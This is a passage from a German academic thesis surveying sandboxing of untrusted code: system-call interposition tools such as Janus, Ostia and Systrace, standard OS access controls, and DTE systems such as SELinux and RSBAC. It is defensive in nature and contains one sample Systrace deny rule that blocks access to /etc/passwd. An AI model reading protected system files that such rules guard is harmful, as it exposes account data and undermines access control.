System-Call-Interposition ist trotz vieler Vorteile nicht perfekt. Enthält der Kernel selbst eine Schwachstelle[45] und ist der angreifbare Systemruf erlaubt worden, kann wieder beliebiger Code ausgeführt werden. Ein noch nicht besprochenes Problem ist die Erstellung einer korrekten *Least-Privilege-Access-Policy*. Häufig ist es selbst einem erfahrenen Experten unmöglich, eine perfekte Spezifikation zu erstellen. Erlaubt er zu viel, nutzt ein bösartiges Programm vielleicht seine zu große Freiheit aus, übersieht er einen selten benutzten Systemruf des Programms (vielleicht nur in einer Spezialfunktion aufgerufen), verweigert dieses an entscheidender Stelle die Arbeit. Programme, die die Fehlercodes einer benutzten Funktion nicht prüfen, sondern voraussetzen, dass kein Fehler auftritt, können ein sonderbares Verhalten aufweisen und eventuell mehr Schaden anrichten, als die Gestattung des Systemrufs es getan hätte. Darf ein zu überwachendes Programm prinzipiell eine Aktion tätigen, wenn sich ein Nutzer bei ihm entsprechend authentifiziert hat, sind Angriffe auf diesen Prozess, welche ihn auch ohne Authentifikation dazu bringen, diese Aktion auszuführen, durch eine reine Lösung auf Basis von *System-Call-Interposition* nicht erkennbar, da der logische Programmpfad dem Mechanismus nicht bekannt ist. In Kombination mit Konzepten aus den anderen Unterabschnitten (z. B. 6.7., 6.4.) ist dieser Einwand jedoch hinfällig. Einige der gleich präsentierten konkreten Lösungen bieten zudem die Möglichkeit, interaktiv System Call Policies aus Programmtrainingsabläufen zu erstellen.

Bei den existierenden Werkzeugen sind grundsätzlich zwei Richtungen erkennbar. Die eine Richtung versucht, privilegierte Prozesse auf einem System auf die minimal benötigten Rechte einzuschränken. Den zu überwachenden Applikationen wird grundsätzlich vertraut, die Gefahr ist eindeutig ein Angriff auf diese Programme. Konkrete Lösungen für diese Kategorie sind beispielsweise WHIPS ([12]) und Remus ([14]). WHIPS beschränkt die Privilegien von *Windows Services* und ist in Form eines ladbaren Gerätetreibers implementiert. Der Treiber verändert die *System-Call-Dispatch*-Tabelle, um vor privilegierten Systemrufen Prüfcode auszuführen, der seine Informationen aus einer *Access-*

45 Die Schwachstelle ist eventuell erst durch Integration des eingesetzten Werkzeugs entstanden.

Control-Database bezieht. Die Architektur wurde nach Angaben der Entwickler größtenteils vom Remus-System übernommen, was ähnliche Aufgaben unter Linux löst. Remus ist frei verfügbar und hat einen innovativen Ansatz die Unverfälschtheit von nachgeladenen Kernelmodulen zu garantieren[46].

Die zweite Richtung möchte auch nicht privilegierten Nutzern die individuell festgelegte Beschränkung ihrer Programme erlauben. Diese werden durch das jeweils eingesetzte Werkzeug in eine *SandBox* „eingesperrt". Der erste wegweisende Prototyp auf diesem Gebiet ist das Janus System ([44], [127], [126]). Janus ist komplett im *User-Space* implementiert und nutzt die *Process-Tracing-Facility* des Solaris Betriebssystems. Jeder Nutzer kann seine eigene Konfigurationsdatei mit Dateizugriffsrechten, Prozessinterkommunikations-beschränkungen und Netzwerkrestriktionen erstellen. Janus unterstützt bereits grafische Applikationen. Da einige Befehle an den X-Server potenziellen Schaden anrichten könnten, jedoch Systemrufe wie `read` und `write` aus Performancegründen nicht überwacht werden, geschieht der Zugriff auf das grafische Display über einen Protokollfilter. Durch weitere Restriktionen kann sich ein Programm auch nur mit diesem Protokollfilter verbinden.

Consh ([3]) und MAPBox ([95]) bauen auf der Janus Architektur auf. Die zeitintensive Konfiguration für Janus übernimmt MAPBox automatisch. MAPBox teilt zu überwachende Prozesse in vordefinierte Kategorien mit parametrisierbaren Einschränkungen ein, für die bereits geeignete Konfigurationen existieren. Zur Zeit werden die Klassen *Compiler, Editor, Browser, Viewer, Transformer, Server, Information Provider, Upload, Game, Filter, Applet* und *Download* angeboten. Es ist möglich, dass ein gestarteter Kindprozess einer anderen Klasse als sein Vaterprozess angehört.

Alle auf Janus basierenden Lösungen haben TOCTOU-Probleme, wie in Abschnitt 5.7. beschrieben. Dies ist fast unvermeidbar, da sie wie erwähnt komplett im *User-Space* agieren. Dieser Ansatz ist zwar minimal invasiv, erfordert aber sehr viele zeitungünstige Kontextwechsel[47] zwischen der zu überwachenden Applikation und der *Interposition-Architecture*.

Subterfugue ([120]) ist ein pythonbasiertes Framework, welches die generische Entwicklung von *System-Call-Interposition*-Tools ermöglicht und leider die selben Schwächen aufzeigt.

Janus 2 ([39]) und Ostia ([39]), sind entwickelt worden, um die Einschränkungen von Janus zu umgehen. Beide Systeme nutzen einen hybriden Ansatz. Im Kernel ist die *Interposition-Architecture* zu finden; die *Policy-Engine* bleibt weiterhin im *User-Space*. Janus 2 kopiert vor der Entscheidung über die Legitimität eines Systemrufes dessen Argumente in einen Adressraum, der nur vom Kernel modifiziert werden darf. Auf diese Weise bleiben Änderungen dieser Daten einem Angreifer verwehrt. Um weitere *Race-Conditions* zu verhindern, erlaubt Janus 2 nur einen Thread beim zu überwachenden Prozess. *Symlink*-Attacken sind bei dieser Lösung dennoch weiterhin möglich, wenn zwei Prozesse zusammenarbeiten. Ostia geht einen völlig anderen Weg. Genehmigte Aktionen werden in vielen Fällen nicht direkt vom fordernden Prozess ausgeführt, sondern an die *Policy-Engine* delegiert. Ein Beispiel soll diesen technisch anspruchsvollen Ansatz verdeutlichen:

Der zu überwachende Prozess A (läuft mit minimalen Rechten) tätigt den Systemruf

```
open("../test/foo").
```

46 Remus signiert die Kernel-Module und überprüft beim Ladevorgang die Signaturen (siehe [108]).

47 Bei jedem Systemruf muss zwischen der *Interposition-Architecture* und dem Programm umgeschaltet werden.

Im Kernel sorgt die *Interposition-Architecture* dafür, dass der Programmfluss zu einer `open`-Funktion innerhalb einer Ostia-spezifischen Bibliothek (wurde durch modifizierten Binärcode-Lader geladen) im Adressraum von A verzweigt. Diese Funktion kommuniziert mit der *Policy-Engine* B über einen *Unix-Domain-Socket* und teilt dieser die auszuführende Aktion mit. Anschließend greift B *Race-Condition*-frei[48] auf „../test/foo“ zu und überprüft, ob A genügende Rechte besitzt. Da sich B in einem selbst kontrollierten Adressraum befindet, können die Argumente nicht nachträglich verändert werden. B nimmt nun die A zugestandene Benutzer- und Gruppenidentität an und öffnet „../test/foo“. Zuletzt verschickt es den erlangten Dateideskriptor über den Socket zurück zu A und veranlasst bei der *Interposition-Architecture*, dass A wieder weiterläuft. Durch verschiedene Optimierungen[49] beträgt der Performanceverlust von Ostia in ungünstigsten Fällen 25 Prozent. Leider sind weder Janus 2 noch Ostia über den Prototypstatus hinausgekommen oder frei verfügbar.

Diese Einschränkung hat Systrace ([92], [93]) nicht; es ist frei verfügbar und auf Linux sowie Open- und Free BSD Systemen einsetzbar. Systrace integriert seine *Interposition-Architecture* ebenfalls in den Betriebssystemkern, wo aus Performancegründen auch einige Teile der *Policy-Engine* zu finden sind. Der andere Teil kann von jedem Nutzer des Systems für seine Zwecke konfiguriert werden. Die dabei eingesetzte Sprache ist sehr einfach zu verstehen:

```
filename eq "/etc/passwd" then deny[eaccess]
```

verbietet beispielsweise jeden Zugriff auf die genannte Datei, indem *EACESS* als Fehlercode zurückgegeben wird.

Ähnlich wie Janus 2 kopiert Systrace die Argumente von Systemrufen in den *Kernel-Space*. In der dortigen *Interposition-Architecture* werden auch alle weiteren Vorkehrungen getroffen um TOCTOU-Angriffe zu vereiteln: Systrace schreibt etwa Argumente von Systemrufen um (kann zusätzlich auch vom Nutzer so konfiguriert werden), expandiert relative Dateinamen vor der Überprüfung und verbietet anschließend die Auflösung von symbolischen Verweisen[50].

Systrace ist das mit Abstand ausgereifteste und am häufigsten eingesetzte Werkzeug in dieser Kategorie. Dies liegt vielleicht auch an der einfachen Art, Policies für Systemrufe zu erstellen. Ein grafischer, interaktiver Trainingsmodus kann iterativ die Zugriffsspezifikation immer weiter an die Bedürfnisse der Applikation anpassen. Das Programm bietet weiterhin *Logging*-Funktionen und kann so als *Intrusion-Detection-System* eingesetzt werden.

Ein nicht zu unterschätzendes Feature von Systrace ist die Möglichkeit, bestimmten Prozessen das Recht zu geben, einige wenige Systemrufe mit erhöhten Privilegien auszuführen (*Privilege-Elevation*). Auf diese Weise brauchen viele Programme, die früher Administratorrechte benötigten (etwa ping) diese Rechte nicht mehr und sind damit auch besser vor Angriffen gefeit, die überflüssige Rechte für ihre Zwecke ausnutzen möchten.

48 Um keine *Race-Conditions* entstehen zu lassen, muss der Pfad Stück für Stück aufgelöst werden und jeweils eine relative Auflösung des nächsten Pfadabschnittes erfolgen.

49 Optimierungen sind u. a. Vermeidung von Kontextwechseln durch Caching und Nichtbeachtung von sicherheitsunkritischen Systemrufen wie `read` und `write`.

50 Symbolische Links hätten, wenn keine *Symlink*-Attacke stattgefunden hätte, bereits bei der Expansion aufgelöst worden sein müssen.

Neben *User-Space*- und hybriden Ansätzen existieren selbstverständlich auch noch pure kernelbasierte Implementationen. Jede zusätzliche Zeile im Betriebssystemkern erhöht jedoch potenziell dessen Komplexität und damit dessen Anfälligkeit für Sicherheitslücken. Reine Kernelimplementationen sind zudem auch schwer zu konfigurieren, unflexibler zu programmieren[51] und führen häufig eigene Systemrufe ein.

Peterson ([88]) hat eine derartige Lösung für Linux frei zu Verfügung gestellt. Durch eine Erweiterung der Kernel-API kann jeder Nutzer programmatisch individuelle *Sandboxes* erstellen, in denen er dann eine Reihe von Applikationen startet. Die Berechtigungen werden dabei durch mengentheoretische Operationen gebildet. Die einzelnen Argumente stammen aus den Bereichen *Device Component, File System Component, IPC Component, Network Component, ptrace, Signal Component* und *System Management Component*. Sandboxes können ineinander geschachtelt, Rechte vererbt und delegiert werden. Die Veränderung der Zugriffsrechte ist über die neu eingeführten Systemrufe dynamisch möglich. Neben Aktionen, die immer erlaubt oder verboten werden sollen, können einige Entscheidungen bei Bedarf auch an *Callback*-Funktionen delegiert werden. Dies ermöglicht prinzipiell ein lernendes System.

SLIC ([42]) und Generic Software Wrappers ([37]) sind Frameworks, bei denen die *Interposition-Architecture* bereits im Kernel zur Verfügung steht. Sie erleichtern die Entwicklung von kernelbasierten *Policy-Engines*. SLIC baut dabei auf in C geschriebenen *Kernel-Extensions* auf, die bei Aufruf von bestimmten Systemrufen zum Zuge kommen.

Generic Software Wrapper werden ebenfalls bei bestimmten Systemrufen ausgeführt, sind aber in einer C und SQL ähnlichen Sprache (Wrapper Definition Language) verfasst, die von der konkreten Signatur eines Sytemrufes abstrahiert. Instanzen von Wrappern werden vom Wrapper Support Subsystem erst dann erzeugt, wenn ein spezifiziertes Ereignis (wie der Start eines Programmes mit bestimmten Rechten) auftritt (*activation criteria*) und nach der Erfüllung ihrer Aufgabe wieder zerstört. Mehrere Wrapperinstanzen können gleichzeitig einen Prozess überwachen und Informationen über eine Datenbank austauschen. Während für SLIC bereits ausgereifte *Policy-Engines* zur Verfügung stehen, weisen die bereits implementierten Generic Software Wrappers noch viele Kinderkrankheiten auf und decken bei Weitem nicht die gesamte Systemruffamilie ab, die komplexe Applikationen benutzen. Weiterhin ist bis jetzt unklar, ob durch die gewonnene Abstraktion vom Betriebssystem dessen konkreter Status noch ermittelt werden kann, um die Semantik einer Aktion vollständig zu verstehen.

Chakravyuha ([28]) ist ein von IBM entwickelter Prototyp (leider bis jetzt nicht frei erhältlich), der auf einem stark modifizierten Linuxkern aufbaut. Neben der Durchsetzung von Sicherheitsspezifikationen auf Prozess- und Nutzerebene ist Chakravyuha besonders auf die gezielte Partitionierung von Ressourcen ausgelegt. *Untrusted Code* im engeren Sinne gibt es bei dieser Lösung nicht. Alle Anwendungen sowie ihre spezifischen Ressourcenanforderungen müssen signiert sein. Ein spezielles Installationsprogramm verifiziert die Signatur, liest die abstrakt gehaltenen Anforderungen[52] ein und bildet sie auf die konkret vorliegende Architektur[53] ab.

51 Im Kernel können keine Standardbibliotheken benutzt werden.

52 Eine abstrakte Forderung wäre etwa „Zugriff auf eine SQL-basierte Datenbank mit einer Zugriffsrate von 100 Abfragen pro Sekunde“

53 Eine konkrete Umsetzung wäre etwa „Nutzung einer Max DB Datenbank bei Einräumung von 70 Prozent der Rechenkapazität des Prozessors“.

WindowBox ([10]) ist eine Modifikation des Windows NT Kernels. Sie stellt mehrere Desktops für Nutzer des Systems bereit. Jeder Desktop besitzt einfach zu konfigurierende Berechtigungen. Im Gegensatz zu den vorherigen Lösungen abstrahiert WindowBox sehr stark von der Systemrufebene, so dass es auch für weniger versierte Anwender bedienbar ist. Ressourcen und Prozesse sind nur einem festgelegten Desktop zugewiesen und dürfen nicht über diesen hinweg benutzt werden.

Ein ähnliches, wenn auch wesentlich mächtigeres Konzept, wird in [90] präsentiert. Das logische Pendant zu einem Desktop wird hier als Pod bezeichnet. Ein Pod umfasst eine Menge von Prozessen und Dateien. Die Prozesse können miteinander kommunizieren und auf die zur Verfügung gestellten Ressourcen innerhalbs des Pods zugreifen. Sämtliche Prozesse und Ressourcen, die außerhalb des Pods liegen, sind für die Prozesse nicht einmal sichtbar. Kommunikation nach außen ist nur über Sockets möglich, deren Quelle, Art und Ziel beliebig eingeschränkt werden kann. Pees dienen dazu, innerhalb eines Pods noch einmal verschiedene Rechte auf Ressourcen zu geben und die Kommunikation zwischen Prozessen zu limitieren. Das Pee-Pod Modell wurde als Kernelerweiterung unter Linux bereits implementiert. Sämtliche Ressourcenzugriffe eines Pods sind durch die zusätzlich im Betriebssystemkern implementierte Schicht transparent gestaltet. Prozesse erhalten virtuelle Ressourcendeskriptoren, die in dieser Schicht erst auf die konkreten Ressourcen abgebildet werden. In regelmäßigen Abständen erfolgt eine Sicherung des gesamten virtuellen Zustandes eines Pods. Auf diese Weise unterstützt das Pee Pod Modell zusätzlich zur sicheren Ausführung nicht vertrauenswürdiger Programme auch noch die Möglichkeit der Migration eines Pods auf einen anderen Computer, dessen Kernel sogar eine andere Versionsnummer aufweisen darf.

Virtualisierung von Ressourcen ist auch das Hauptanliegen der letzten hier präsentierten Lösung. Vserver ([125]) erlaubt die Einrichtung von mehreren Kontexten (mit Pods vergleichbar), die gleichzeitig auf einer Maschine laufen. In jedem Kontext simuliert Vserver eine komplette Variante des Hostbetriebssystems. Durch einen Eingriff in den Linuxkernel und die geschickte Ausnutzung von betriebssystemeigenen Mechanismen (`chroot`, `setrlimit`, POSIX capabilities, spezielle Attribute des Dateisystems) verfügt jeder Kontext über einen eigenen Verzeichnisbaum, eine eigene IP-Adresse und eine eigene Prozesshierarchie. Auf einer tieferen Abstraktionsebene laufen aber alle Kontexte als Sammlung von Prozessen auf einem gemeinsamen Dateisystem unter einem gemeinsamen Kernel. Durch den geschickten Einsatz von *Hardlinks* muss eine Vielzahl von nicht modifizierbaren Systemdateien nur ein einziges Mal auf dem Rechner vorhanden sein. *System-Call-Interposition*-Mechanismen tragen dafür Sorge, dass jeder Prozess in einem Kontext auch wirklich nur auf seine Ressourcen zugreifen und weitere Ressourcen des darunter liegenden Betriebssystems gar nicht sehen kann. Vserver wird von ISPs gerne benutzt, um eine größere Anzahl von virtuellen Kundenrechnern ressourcensparend zu simulieren. Jeder Kontext hat eine Ressourcenbeschränkung und kann seinen Ressourcenverbrauch über die Zeit genau anzeigen. Vserver sorgt mit einer Änderung des *Schedulers* dafür, dass jeder Kontext gleichberechtigt zum Zuge kommt. Innerhalb eines Kontextes kann die Ausführung nicht vertrauenswürdiger Programme immer noch verheerend sein. Da aber selbst die *Superuser*-Rechte nur virtuell sind, bleibt der Prozess aber auf jeden Fall im Kontext und kann nicht darüber hinaus sein Unwesen treiben.

Die einzige Art, den Kontext zu durchbrechen, wäre ein erfolgreich durchgeführter Kernel-Exploit. *System-Call-Interposition*-Mechanismen sind wie schon vorher erwähnt machtlos gegenüber derartigen Angriffen, es sei denn, sie verbieten die Ausführung der verwundbaren Systemrufe oder lassen nur ungefährliche Argumente/Aufrufreihenfolgen zu. Die in 6.2 und

6.7 beschriebenen Werkzeuge könnten den Betriebssystemkern jedoch vor diesen Angriffen schützen, würden aber sehr wahrscheinlich die Performance stark beeinträchtigen.

6.9. Herkömmliche Betriebssystemmittel

Bis jetzt könnte vielleicht der (falsche) Eindruck entstanden sein, dass ein Betriebssystem selbst keine Mechanismen zur sicheren Ausführung nicht vertrauenswürdiger Programme zur Verfügung stellen würde. Dies ist bei Weitem nicht der Fall. Betriebssystemmechanismen sind zudem in der Regel wesentlich besser getestet und durchdacht worden, als die eines für einen speziellen Einsatzzweck konstruierten Prototypen.

Typischerweise werden Programme in modernen Systemen unter einem bestimmten Benutzer- und Gruppenkontext ausgeführt. Ein Programm darf folglich die Aktionen ausführen und die Ressourcen auf die Art und Weise nutzen, wie es die Rechte des Nutzers zulassen. Eine Beschränkung auf Prozessebene ist eher unüblich.

Beschränkt man nun die Rechte des ausführenden Nutzers, kann der Schaden von nicht vertrauenswürdigen Applikationen stark eingeschränkt werden. Allerdings ist es nicht immer wünschenswert für jedes Programm einen neuen Nutzer anzulegen. Die verschiedenen Komponenten eines Browsers erfordern beispielsweise unterschiedliche Rechte. Die Hauptapplikation soll über das Netzwerk kommunizieren können, die integrierte Bildbetrachterapplikation aber nicht. Der von einem Nutzer verwendete Newsreader soll keinen Zugriff auf die Musikdateien bekommen, um sie eventuell über das Internet zu verschicken. Umgedreht braucht die Musikabspielkomponente keinen Zugang zum Internet. Sollen mehrere Anwendungen unter einem Nutzerkontext ablaufen, besteht nun ein Problem.

Moderne Betriebssysteme bieten mittels Konzepten wie *Impersonation* ([105]) oder *Effective-User-IDs* ([117]) die Möglichkeit, dass die Rechte eines Kindprozesses von dem des Vaterprozesses abweichen können. Die Einrichtung entsprechend unterschiedlicher Berechtigungsprofile unterliegt zumeist nur dem Administrator und gestaltet sich bei dynamisch wechselnden Anforderungen verschiedener Nutzer oft sehr unflexibel. Will ein Prozess eine privilegierte Operation[54] bewilligt bekommen, muss er zumeist mit Administratorrechten ausgeführt werden. Mit diesen Rechten ausgestattet, kann er nun aber beliebige Operationen tätigen und ist praktisch vollkommen unbeschränkt.

Die Berechtigungsprofile gängiger Betriebssysteme sind für einige Einschränkung von *Untrusted Code* einfach nicht feinkörnig genug, obwohl die Einführung von speziellen *Capabilities* ([85]) die Granularität bereits verfeinert hat. Der Prozess muss die *Capabilities* jedoch freiwillig abgeben. Die Spezifikation der Erlaubnis für einen Prozess A, nur einen Socket mit einem festgelegten Namen mit einem bestimmten Typ anlegen, mit Prozess B über diesen, mit Prozess C aber nur per *Shared-Memory* und mit Prozess D über ein konkretes Signal kommunizieren zu dürfen, ist ein aussichtsloses Unterfangen. Die Tätigung von Systemrufen mit bestimmten Argumenten ist ebenfalls nicht zu verhindern. Allenfalls die Wirkung einer bestimmten Aktion kann unterbunden werden. Ist der Betriebssystemkern aber bekanntlich durch einen unsicher implementierten Systemruf angreifbar, ist es an dieser Stelle schon längst zu spät.

54 Privilegierte Operationen unter Unix wären z. B. „Binden eines Ports unterhalb von 1025“,„Anlegen eines Raw-Scokets“ oder „Herunterfahren des Systems“.

Die genaue Art und Weise, wie Zugriff auf Ressourcen beschränkt wird, ist von Betriebssystem zu Betriebssystem unterschiedlich. Windows ([105]) hat etwa von Unix ([117]) völlig verschiedene Programmierschnittstellen und Werkzeuge. Zwischen den einzelnen Unices existieren weiterhin signifikante Abweichungen. Details sind deshalb nicht in dieser Arbeit, sondern in einem Administrationshandbuch zu suchen, wo sie auch wesentlich detaillierter und vollständiger beschrieben werden können.

Generell kann aber eine Vielzahl moderner Betriebssysteme auf Nutzer- und Gruppenebene

- Elemente aus dem Dateisystem individuell schützen (beinhaltet Ausführungsverbot bestimmter Programme) und dem Prozess nur einen bestimmten Einblick gewähren (`chroot-/jail`- Systemruf [50])
- Zugriff auf die zentrale Konfiguration und den Status des Sytems einschränken
- Zugriff auf Geräte und Netzwerkschnittstellen komplett verhindern
- Manipulation von anderen Prozessen unterbinden
- sekundären Speicherplatz und Anzahl der Prozesse limitieren

und auf Prozessebene

- die Größe von *Core-Dumps*[55], erzeugten Dateien, des Stacks, Hauptspeichers beschränken
- eine maximale Anzahl von Threads, Kindprozessen, geöffneten Dateien erlauben
- die Priorität und Prioritätsklasse beim Scheduling festlegen
- nach Konsumierung einer festgelegten CPU-Zeit den Prozess abbrechen.

Einige Betriebssysteme wie Solaris und Windows bieten zusätzlich die Nutzung von Job-Objekten bzw. Tasks/Zones an, in denen Ressourcen und Rechte wie CPU-Zeit, Speicher, Plattenplatz und Zuweisung von Prozessoren (Stichwort Hardwarepartitionierung) für eine Gruppe von Prozessen definiert sind.

Bei anspruchslosen Sicherheitsspezifikationen und der Bereitschaft/Möglichkeit, einen separaten Rechtekontext für die Ausführung nicht vertrauenswürdiger Programme zur Verfügung zu stellen, der idealerweise nur mit gleich privilegierten Komponenten kommunizieren muss (und vor allem darf), können Betriebssystemmittel jedoch bereits vollkommen ausreichen. Ansonsten sind sie mit in vorherigen Abschnitten vorgestellten Lösungen zu kombinieren.

6.10. Access-Control-Lists/Domain-Type-Enforcement

Die im vorherigen Unterabschnitt genannten Einschränkungen von herkömmlichen Betriebssystemmitteln lassen sich knapp zu folgenden Punkten zusammenfassen:

55 *Ein Core-Dump* ist ein Speicherabzug eines Programmes, der zur Post-Mortem-Analyse genutzt wird.

- die Rechtevergabe ist nicht granular genug,
- Rechte setzten meistens am Nutzer und nicht am Prozess an, was zur Einführung von „Pseudonutzern“ führt
- Rechtebeschränkung von Prozessen (etwa Abgeben von *Capabilities*) kann nur vom Prozess freiwillig geschehen,
- viele Aufgaben erfordern Administratorprivilegien, der Administrator selbst ist aber in keinster Weise eingeschränkt.

Um diese Einschränkungen zu umgehen, wurde eine Vielzahl von Lösungen entwickelt, welche das Betriebssystem so modifizieren, dass neben oder statt der traditionellen Rechteverwaltung (etwa *Discretionary-Access-Control-Lists* unter Windows, Unix rwx Bits) ein völlig neues Rechtekonzept zum Zuge kommt. Ganz egal, welches konkrete System dabei benutzt wird, die Grundidee ist dabei immer gleich: Sämtliche aktiven Komponenten eines Systems wie Prozesse und Nutzer werden als Subjekte bezeichnet, Ressourcen, wie Dateien, Interprozesskommunikationsobjekte und Netzwerkverbindungen als Objekte. Eine Menge von Subjekten kann in eine Domäne, eine Menge von Objekten als Typ zusammengefasst werden.

Die *Policy* bestimmt nun, welche Domäne wie auf welchen Typ zugreifen kann. Die Zugriffsarten sind dabei viel differenzierter, als ein normales Betriebssystem es erlauben würde und richten sich nach der Objektklasse des konkreten Typs.

Das hier geschilderte Grobverfahren ist als *Domain-Type-Enforcement* (DTE, [131]) bekannt. Die Art der Umsetzung entscheidet sich von Implementation zu Implementation gewaltig. Die meisten Systeme, welche DTE unterstützen, lassen keine Änderungen der *Policy* vom Nutzer zu, da dieser selbst nur ein Subjekt ist. Diese Maxime heißt *Mandatory-Access-Control* (MAC) und grenzt sich damit klar ab von der üblichen *Discretionary-Access-Control* (DAC), bei der die Nutzer selbst festlegen können, welche Berechtigungen andere Nutzer auf ihre Ressourcen haben.

DTE-Systeme erfordern meistens einen massiven Eingriff in den Betriebssystemkern und zwingen den Administrator zu völlig neuen Denkweisen betreffs Rechteverwaltung. Eine zu großzügige Rechtespezifikation führt zu einem falschen Sicherheitsempfinden. MAC-basierte Systeme sind zudem sehr mühsam zu administrieren, wenn häufig Änderungen an der *Policy* anstehen.

Als Belohnung können die Kriterien eins bis sechs garantiert werden: Änderungen an Applikationen sind nicht erforderlich (Kriterium eins), das Betriebssystem muss selbstverständlich unterstützt werden, von der konkreten Hardwarearchitektur bleibt man jedoch unabhängig (Kriterium zwei). Da nun das Berechtigungsprofil für jeden Prozess individuell maßgeschneidert wurde, ist Kriterium drei ebenfalls schnell erfüllt. Böswillige Speichermanipulationen auf Prozessebene können DTE-Systeme ebenfalls nicht erschüttern, weil eventuell eingeschleuster Schadcode auf keine Objekte in einer Weise zugreifen kann, wie es das Programm nicht schon vorher gedurft hätte. Dies setzt natürlich voraus, dass der Administrator dem *Least-Privilege-Access*-Prinzip gefolgt ist (siehe 6.8.). Da wie bereits erwähnt, das neue Rechteprinzip direkt in den Kernel integriert und die erlaubte Zugriffsart von sämtlichen Subjekten auf alle Objekte des Systems detailliert geregelt ist, wird die auftretende Komplexität vom Betriebssystem selbst beherrscht (Kriterium fünf) und die Umgebung des *Untrusted Codes* ist ebenfalls komplett unter Kontrolle (Kriterium sechs).

Die Idee der DTE-Systeme liegt schon relativ weit zurück. Distributed Trusted Mach (DT Mach) und Distributed Trusted Operating System (DTOS), sowie Flux Advanced Security Kernel (Flask) waren beispielsweise die ersten Versuche der NSA in Kooperation mit der Firma Secure Computing, eine derartige Architektur zu entwickeln.

Security Enhance Linux (SELinux [112], [2], [46], [111]) entstand aus einer Portierung von Flask auf die Linux-Plattform. SELinux ist ein MAC-basiertes DTE-System, welches weiterhin von der NSA entwickelt wird. Das System besteht aus einem *Security-Server* und mehreren *Object-Managers*. Der *Security-Server* ist mit der *Policy-Engine* (siehe 6.8.) vergleichbar. Bei ihm fragen alle erweiterten Subsysteme des Kerns (*Object-Manage*r) bei jeder Zugriffsanforderung nach und setzen dann seine Entscheidungen um. Ändern sich die Rechte für ein Objekt, welches bereits von einem Subjekt in Benutzung ist, erfolgt beim Zugriff darauf erneut eine Prüfung. Ein unmodifiziertes Unix oder Windows verhält sich in diesem Punkt anders und würde weitere Zugriffe nicht erneut prüfen. Aus Performancegründen werden Entscheidungen des *Security Server*s wenn möglich im *Vector-Access-Cache* gehalten.

Jedes Objekt und jedes Subjekt besitzt einen *Security-Context*. Dieser besteht aus einer Nutzer-ID, einer Rolle und einem Typ bzw. einer Domäne. Dabei ist der Nutzerbegriff nicht mit dem traditionellen Verständnis vereinbar. Er ist eher als eine Zusammenfassung von tatsächlich existierenden Nutzern des Systems zu verstehen. Die normalen Zugriffskontrollen des Systems existieren zusätzlich zum DTE-System. Jedem *Security-Context*-Nutzer sind eine Menge von Rollen zugeordnet, wobei er sich zu einem Zeitpunkt nur in einer konkreten Rolle befinden kann. Jede Rolle darf wiederum auf eine Reihe von Domänen zugreifen, die Prozessen zugeordnet sind. Beim Aufruf von Unterprozessen und beim neuen Anlegen von Objekten kann eine Änderung des *Security-Contexts* erfolgen.

Security Enhanced Linux ist sehr schwierig zu konfigurieren, die Standard *Policy* ist über 80 Seiten lang. Mit Hilfe von grafischen Tools und einem interaktiven Lernmodus sind Anfangsprobleme jedoch zu lösen.

Rule Set Based Access Control (RSBAC) ([84], [85], [80]) ist ebenfalls ein DTE System. Das Prinzip ist ähnlich zu dem von SELinux, die Begriffe und Möglichkeiten unterscheiden sich jedoch. Der Security Server heißt hier Access Decision Facility, die Object Manager Access Enforcement Facility. Der Nutzerbegriff entspricht der traditionellen Deutungsart. Jedem Nutzer kann eine Reihe von Rollen zugewiesen werden, die den Domänen entsprechen. Prozesse werden in der Rolle des Benutzers ausgeführt oder haben unabhängig vom Benutzer eine eigene Rolle. Für jede Rolle ist nun detailliert geregelt, wie und ob sie auf die Typen des Sytems zugreifen kann. Der Administrator selbst ist machtlos, wenn er nicht die erforderliche Rolle besitzt. Auf diese Weise können privilegierte Verwaltungsaufgaben an verschiedene Nutzer delegiert werden, was der Autor von RSBAC als *separation of duty* bezeichnet. Rollenzugehörigkeit kann zeitbeschränkt werden.

RSBAC unterstützt neben seinem rollenbasierten Ansatz noch mindestens fünf weitere Berechtigungsschemata, die allesamt miteinander kombiniert werden können. So erlauben die von RSBAC implementierten *Discretionary-Access-Control-Lists* die Spezifikation von Zugriffsrechten nicht nur für Nutzer und Gruppen, sondern auch für Rollen und damit für Prozesse. Gruppen entsprechen wiederum nicht den Standard Unix Gruppen sondern werden vom besitzenden Nutzer selbst verwaltet. RSBAC kann weiterhin Prozesse nur unter einer genau spezifizierten Menge von Benutzerkennungen laufen lassen, Ressourcenbeschränkungen an Benutzern und Programmen festmachen und Prozesse dazu zwingen Linux-*Capabilities* abzugeben bzw. zu erhalten, was die Ausführung von

privilegierten Systemaktionen ohne *Superuser*-Rechten erlaubt bzw. trotz *Superuser*-Rechten verbietet. Ausbruchsichere `chroot`-Käfige sowie *Buffer-Overflow*-Schutz durch das Pax Projekt sind ebenfalls integriert.

Die gesamte Administration erfolgt über übersichtliche Menüpunkte. Die Linuxdistributionen adamantix (siehe 6.8.), Castle ([21]) und Kaladix ([54]) haben RSBAC standardmäßig bereits eingebaut.

grsecurity ([47]) enthält ebenfalls bereits das PAX System, einen ausbruchsicheren chroot-Käfig und ein zu RSBAC ähnliches ACL-Zugriffssystem, welches Rechte auf Prozessbasis vergibt. Die Mächtigkeit reicht jedoch noch nicht an die von SELinux und RSBAC heran.

Das Linux Intrusion Detection System (LIDS) hat einen irreführenden Namen bekommen. Seine Hauptleistung ist ebenfalls die Implementation eines *Domain-Type-Enforcement* -Mechanismus auf *Mandatory-Access-Control* Basis. LIDS ist hauptsächlich darauf ausgelegt, dass ein Angreifer selbst mit *Superuser*-Rechten kaum Änderungen im System vornehmen kann. Dementsprechend fällt die Granularität der Zugriffsrechte und die Möglichkeit der Delegation von Verwaltungsaufgaben an Nutzer auch nicht so stark aus, wie bei den anderen hier vorgestellten Alternativen. Engarde Linux ([33]) stützt sich standardmäßig bereits auf LIDS.

Steht man vor einer konkreten Auswahlentscheidung, welches System man einsetzen möchte, um *Untrusted Code* sicher ausführen zu können, fällt die Entscheidung sehr schwer und ist höchstwahrscheinlich von persönlichen Vorlieben geprägt[56].

Alle vorgestellten Erweiterungen des Linux Kernels sind bei vorsichtigen Schätzungen auf mehreren 100 Produktivsystemen im Einsatz.

6.11. Fazit

